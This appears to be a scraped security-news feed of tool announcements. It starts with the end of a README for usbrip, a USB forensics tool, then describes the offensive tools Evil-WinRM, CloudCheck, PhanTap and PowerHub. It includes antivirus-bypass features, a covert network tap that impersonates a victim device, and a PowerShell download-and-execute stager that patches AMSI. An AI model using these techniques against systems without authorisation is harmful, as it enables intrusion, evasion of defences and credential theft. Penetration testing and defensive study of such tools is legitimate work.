Warning: if you are using the crontab scheduling, you want to configure the cron job with sudo crontab -e in order to force the storage update submodule run as root as well as protect the passwords of the USB event storages. The storage passwords are kept in /var/opt/usbrip/usbrip.ini.

The ./installers/uninstall.sh script removes all the installation artifacts from your system.

To install usbrip use:

~/usbrip$ chmod +x ./installers/install.sh
~/usbrip$ sudo -H ./installers/install.sh [-l/--local] [-s/--storages]
~/usbrip$ cd

~$ usbrip -h

  • When -l switch is enabled, Python dependencies are resolved from local .tar packages (./3rdPartyTools/) instead of PyPI.
  • When -s switch is enabled, not only the usbrip project is installed, but also the list of trusted USB devices, history and violations storages are created.

Note: when using -s option during installation, make sure that system logs do contain at least one external USB device entry. It is a necessary condition for usbrip to successfully create the list of trusted devices (and as a result, successfully create the violations storage).

After the installation completes, feel free to remove the usbrip folder.

Paths

When installed, the usbrip uses the following paths:
  • /opt/usbrip/ — project's main directory;
  • /var/opt/usbrip/usbrip.ini — usbrip configuration file: keeps passwords for 7zip storages;
  • /var/opt/usbrip/storage/ — USB event storages: history.7z and violations.7z (created during the installation process);
  • /var/opt/usbrip/log/ — usbrip logs (recommended to log usbrip activity when using crontab, see usbrip/cron/usbrip.cron);
  • /var/opt/usbrip/trusted/ — list of trusted USB devices (created during the installation process);
  • /usr/local/bin/usbrip — symlink to the /opt/usbrip/venv/bin/usbrip script.

cron

Cron jobs can be set as follows:

~/usbrip$ sudo crontab -l > tmpcron && echo "">> tmpcron
~/usbrip$ cat usbrip/cron/usbrip.cron | tee -a tmpcron
~/usbrip$ sudo crontab tmpcron
~/usbrip$ rm tmpcron

uninstall.sh

To uninstall usbrip use:

~/usbrip$ chmod +x ./installers/uninstall.sh
~/usbrip$ sudo ./installers/uninstall.sh [-a/--all]

When -a switch is enabled, not only the usbrip project directory is deleted, but also all the storages and usbrip logs are deleted too.

And don't forget to remove the cron job.

Usage

Synopsis

# ---------- BANNER ----------

$ usbrip banner
Get usbrip banner.

# ---------- EVENTS ----------

$ usbrip events history [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Get USB event history.

$ usbrip events open <DUMP.JSON> [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Open USB event dump.

$ usbrip events gen_auth <OUT_AUTH.JSON> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Generate a list of trusted (authorized) USB devices.

$ usbrip events violations <IN_AUTH.JSON> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-f <FILE> [<FILE> ...]] [-q] [--debug]
Get USB violation events based on the list of trusted devices.

# ---------- STORAGE ----------

$ usbrip storage list <STORAGE_TYPE> [-q] [--debug]
List contents of the selected storage (7zip archive). STORAGE_TYPE is "history" or "violations".

$ usbrip storage open <STORAGE_TYPE> [-t | -l] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [-c <COLUMN> [<COLUMN> ...]] [-q] [--debug]
Open selected storage (7zip archive). Behaves similary to the EVENTS OPEN submodule.

$ usbrip storage update <STORAGE_TYPE> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Update storage — add USB events to the existing storage (7zip archive). COMPRESSION_LEVEL is a number in [0..9].

$ usbrip storage create <STORAGE_TYPE> [-a <ATTRIBUTE> [<ATTRIBUTE> ...]] [-e] [-n <NUMBER_OF_EVENTS>] [-d <DATE> [<DATE> ...]] [--user <USER> [<USER> ...]] [--vid <VID> [<VID> ...]] [--pid <PID> [<PID> ...]] [--prod <PROD> [<PROD> ...]] [--manufact <MANUFACT> [<MANUFACT> ...]] [--serial <SERIAL> [<SERIAL> ...]] [--port <PORT> [<PORT> ...]] [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Create storage — create 7zip archive and add USB events to it according to the selected options.

$ usbrip storage passwd <STORAGE_TYPE> [--lvl <COMPRESSION_LEVEL>] [-q] [--debug]
Change password of the existing storage.

# ---------- IDs ----------

$ usbrip ids search [--vid <VID>] [--pid <PID>] [--offline] [-q] [--debug]
Get extra details about a specific USB device by its <VID> and/or <PID> from the USB ID database.

$ usbrip ids download [-q] [--debug]
Update (download) the USB ID database.

Help

To get a list of module names use:

$ usbrip -h

To get a list of submodule names for a specific module use:

$ usbrip <module> -h

To get a list of all switches for a specific submodule use:

$ usbrip <module> <submodule> -h


Examples

Show the event history of all USB devices, supressing banner output, info messages and user interaction (-q, --quiet), represented as a list (-l, --list) with latest 100 entries (-n NUMBER, --number NUMBER):

$ usbrip events history -ql -n 100

Show the event history of the external USB devices (-e, --external, which were actually disconnected) represented as a table (-t, --table) containing "Connected", "VID", "PID", "Disconnected" and "Serial Number" columns (-c COLUMN [COLUMN], --column COLUMN [COLUMN]) filtered by date (-d DATE [DATE ...], --date DATE [DATE ...]) with logs taken from the outer files (-f FILE [FILE ...], --file FILE [FILE ...]):

$ usbrip events history -et -c conn vid pid disconn serial -d "Dec  9""Dec 10" -f /var/log/syslog.1 /var/log/syslog.2.gz

Build the event history of all USB devices and redirect the output to a file for further analysis. When the output stream is NOT terminal stdout (| or > for example) there would be no ANSI escape characters (color) in the output so feel free to use it that way. Also notice that usbrip uses some UNICODE symbols so it would be nice to convert the resulting file to UTF-8 encoding (with encov for example) as well as change newline characters to Windows style for portability (with awk for example):

usbrip history events -t | awk '{ sub("$", "\r"); print }'> usbrip.out && enconv -x UTF8 usbrip.out

Remark: you can always get rid of the escape characters by yourself even if you have already got the output to stdout. To do that just copy the output data to usbrip.out and add one more awk instruction:

awk '{ sub("$", "\r"); gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' usbrip.out && enconv -x UTF8 usbrip.out

Generate a list of trusted USB devices as a JSON-file (trusted/auth.json) with "VID" and "PID" attributes containing the first three devices connected on September 26:

$ usbrip events gen_auth trusted/auth.json -a vid pid -n 3 -d "Sep 26"

Search the event history of the external USB devices for violations based on the list of trusted USB devices (trusted/auth.json) by "PID" attribute, restrict resulting events to those which have "Bob" as a user, "EvilUSBManufacturer" as a manufacturer, "1234567890" as a serial number and represent the output as a table with "Connected", "VID" and "PID" columns:

$ usbrip events violations trusted/auth.json -a pid -et --user Bob --manufact EvilUSBManufacturer --serial 1234567890 -c conn vid pid

Search for details about a specific USB device by its VID (--vid VID) and PID (--pid PID):

$ usbrip ids search --vid 0781 --pid 5580

Download the latest version of usb_ids/usb.ids database (the source is here):

$ usbrip ids download

Download USBrip

The Ultimate WinRM Shell For Penetration Testing

$
0
0


This shell is the ultimate WinRM shell for hacking/pentesting.


WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. 


A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system adminsitrators.

This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase.

The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.

Features

  • Command History
  • WinRM command completion
  • Local files completion
  • Upload and download files
  • List remote machine services
  • FullLanguage Powershell language mode
  • Load Powershell scripts
  • Load in memory dll files bypassing some AVs
  • Load in memory C# (C Sharp) compiled exe files bypassing some AVs
  • Colorization on output messages (can be disabled optionally)

Help

Usage: 
evil-winrm -i IP -u USER -s SCRIPTS_PATH -e EXES_PATH [-P PORT] [-p PASS] [-U URL]

  • -i, --ip IP                Remote host IP or hostname (required)
  • -P, --port PORT                Remote host port (default 5985)
  • -u, --user USER                 Username (required)
  • -p, --password PASS       Password
  • -s, --scripts PS_SCRIPTS_PATH    Powershell scripts path (required)
  • -e, --executables EXES_PATH        C# executables path (required)
  • -U, --url URL                    Remote url endpoint (default /wsman)
  • -V, --version                    Show version
  • -h, --help                           Display this help message


Requirements

Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.2, winrm-fs >=1.3.2, stringio >=0.0.2 and colorize >=0.8.1.

~$ sudo gem install winrm winrm-fs colorize stringio

Installation 

Step 1. Clone the repo: 

git clone https://github.com/Hackplayers/evil-winrm.git

Step 2. Ready. Just launch it!

 ~$ cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

If you don't want to put the password in clear text, you can optionally avoid to set -p argument and the password will be prompted preventing to be shown.

To use IPv6, the address must be added to /etc/hosts.

Alternative installation method as ruby gem

Step 1. Install it: 

gem install evil-winrm

Step 2. Ready. Just launch it!

~$ evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'


Documentation

Basic commands

  • upload: local files can be auto-completed using tab key. It is not needed to put a remote_path if the local file is in the same directory as evil-winrm.rb file.
  • usage: upload local_path remote_path
  • download: it is not needed to set local_path if the remote file is in the current directory.
  • usage: download remote_path local_path
  • services: list all services. No administrator permissions needed.
  • menu: load the Invoke-Binary and l04d3r-LoadDll functions that we will explain below. When a ps1 is loaded all its functions will be shown up.

Load powershell scripts

To load a ps1 file you just have to type the name (auto-completion usnig tab allowed). The scripts must be in the path set at -s argument. Type menu again and see the loaded functions.


Advanced commands

Invoke-Binary: allows exes compiled from c# to be executed in memory. The name can be auto-completed using tab key and allows up to 3 parameters. The executables must be in the path set at -e argument.



l04d3r-LoadDll: allows loading dll libraries in memory, it is equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.




Extra features

To disable colors just modify on code this variable $colors_enabled. Set it to false: $colors_enabled = false


Disclaimer 

Evil-WinRM should be used for authorized penetration testing and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission.

Download Winrm

CloudCheck- To Test String If A Cloudflare DNS Bypass is Possible

$
0
0

CloudCheck- To Test String If A Cloudflare DNS Bypass is Possible 


Cloudcheck is made to be used in the same folder as CloudFail. Make sure all files in this repo are in the same folder before using.

CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by Cloudflare in the hopes of discovering the location of the server.

Using Tor to mask all requests, the tool as of right now has 3 different attack phases.
  • Misconfigured DNS scan using DNSDumpster.com.
  • Scan the Crimeflare.com database.
  • Bruteforce scan over 2500 subdomains.

Cloudcheck create a empty text file called none.txt in the data folder, that way it doesn't do a subdomain brute when testing.

Cloudcheck will automatically change your hosts file, using entries from CloudFail and test for a specified string to detect if said entry can be used to bypass Cloudflare.

If output comes out to be "True", you can use the IP address to bypass Cloudflare in your hosts file. (Later automating this process)

Download Cloudcheck

Phantom Tap (PhanTap) - An ‘Invisible’ Network Tap

$
0
0


Phantom Tap (PhanTap) - An ‘Invisible’ Network Tap Aimed at Red Teams.



With limited physical access to a target building, this tap can be installed inline between a network device and the corporate network.


PhanTap is silent in the network and does not affect the victim’s traffic, even in networks having NAC (Network Access Control 802.1X - 2004). PhanTap will analyze traffic on the network and mask its traffic as the victim device.

It can mount a tunnel back to a remote server, giving the user a foothold in the network for further analysis and pivoting. PhanTap is an OpenWrt package and should be compatible with any device. The physical device used for our testing is currently a small, inexpensive router, the GL.iNet GL-AR150.

Features:

  • Transparent network bridge.
  • Silent : No ARP, multicast, broadcast.
  • 802.1x passthrough.
  • Automatic configuration:
Capture traffic exiting the network (the destination is non RFC1918), source IP and MAC is our victim, destination MAC is our gateway,
SNAT bridge traffic to the victim MAC and IP address,
set the router default gateway to the MAC of the gateway detected just before.

  • Introspects ARP, multicast and broadcast traffic and adds a route to the machine IP address and adds the machine MAC address to the neighbor list, hence giving the possibility of talking to all the machines in the local network.
  • Learns the DNS server from traffic and modifies the one on the router so that it's the same.
  • Can run commands (ex: /etc/init.d/openvpn restart) when a new IP or DNS is configured.
  • Lets you choose any VPN software, for example OpenVPN tcp port 443 so it goes through most firewalls.
  • You can talk to the victim machine (using the gateway IP).

Setup

PhanTap has been tested with the GL.iNet GL-AR150. This device has two separate network interfaces in OpenWrt (eth0, eth1).

If your device is using an internal switch (swconfig based) with interfaces like eth0.1, eth0.2, some special traffic might be blocked, e.g. 802.1Q (tagged vlan), but PhanTap should work.
  • Install a snapshot build, for the GL.iNet GL-AR150
  • Update the OpenWrt package list
opkg update
  • Install PhanTap package:
opkg install phantap phantap-learn
  • Configure the Wifi and start administering the router through it.
  • Either reboot the device, or run /etc/init.d/phantap setup.
  • Get the interface names from that device:
# uci show network | grep ifname
network.loopback.ifname='lo'
network.lan.ifname='eth1'
network.wan.ifname='eth0'
network.wan6.ifname='eth0'

In this example we are using a GL-AR150, which only has 2 interfaces.

Add the interfaces to the phantap bridge via the following commands in the cli (assuming we are using a GL-AR150):
  • uci delete network.lan.ifname
  • uci delete network.wan.ifname
  • uci delete network.wan6.ifname
  • uci set network.phantap.ifname='eth0 eth1'
  • uci commit network
  • /etc/init.d/network reload

Phantap is now configured, as soon as you plug it between a victim and their switch, it will automatically configure the router and give it Internet access.

You can add your favorite VPN to have a remote connection back. Tested PhanTap with Vpn, port TCP 443, to avoid some detection methods.

You can also add a command to be ran when a new IP or DNS is configured, in /etc/config/phantap, e.g. /etc/init.d/openvpn restart (restart VPN service).

You can also look at disabling the wifi by default and using hardware buttons to start it (https://openwrt.org/docs/guide-user/hardware/hardware.button).

Limitations or how it can be detected :

  • The GL.iNet GL-AR150 and most inexpensive devices only support 100Mbps, meanwhile modern network traffic will be 1Gbps.
  • The network port will stay up, switch side, when the victim device is disconnected/shutdown.
  • There is no re-configuration of PhanTap, so we might use an IP that has been reattributed to another device (roadmap DHCP).
  • Some traffic is blocked by the Linux bridge (STP/Pause frames/LACP).

Roadmap :

  • Add logic to restart the detection when the links go up/down.
  • Add DHCP packet analysis for dynamic reconfiguration.
  • Add IPv6 support.
  • Test limitations of devices that have switches(swconfig) instead of separate interfaces.

PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection

$
0
0

PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection


PowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection.


During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc.

PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8000/0');
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]
                            written by Adrian Vollmer, 2018-2019
Run 'Help-PowerHub' for help
AmsiScanBuffer patch has been applied.
0
PS C:\Users\avollmer> lhm powerview
[*] /ps1/PowerSploit/Recon/PowerView.ps1 imported.
PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.json


Installation

PowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment:

Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment.

Python2 is not supported.

Usage

PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication.

The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read ./powerhub.py --help and the Wiki for details.

Download PowerHub
Viewing all 855 articles
Browse latest View live